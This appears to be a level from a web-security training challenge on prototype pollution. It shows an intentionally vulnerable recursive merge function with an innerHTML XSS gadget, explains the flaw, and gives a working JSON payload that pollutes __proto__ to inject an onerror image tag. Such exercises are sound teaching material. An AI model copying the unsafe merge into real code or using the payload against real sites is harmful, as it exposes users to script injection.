Level 5: Prototype Pollution
MISSION: Inject a JSON payload that pollutes the Object prototype and triggers the XSS gadget.
/// SOURCE CODE INSPECTOR ///
// Client-side vulnerable merge function
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // Vulnerable to __proto__ pollution
} else {
target[key] = source[key];
}
}
return target;
}
let userInput = JSON.parse(payload);
merge({}, userInput);
// The XSS Gadget
let config = {};
// If config.template is undefined, it defaults to a safe string.
// BUT if the prototype is polluted, it will inherit the malicious template!
document.getElementById('render-target').innerHTML = config.template || "<b>Welcome</b>";
/// DECRYPTION COMPLETE ///
The custom merge() function recursively merges objects without checking for the __proto__ key. We can pollute the global Object prototype with a malicious template property. When the app looks for config.template, it falls back to the prototype and executes our XSS.
Payload:
{"__proto__": {"template": "<img src=x onerror=alert(1)>"}}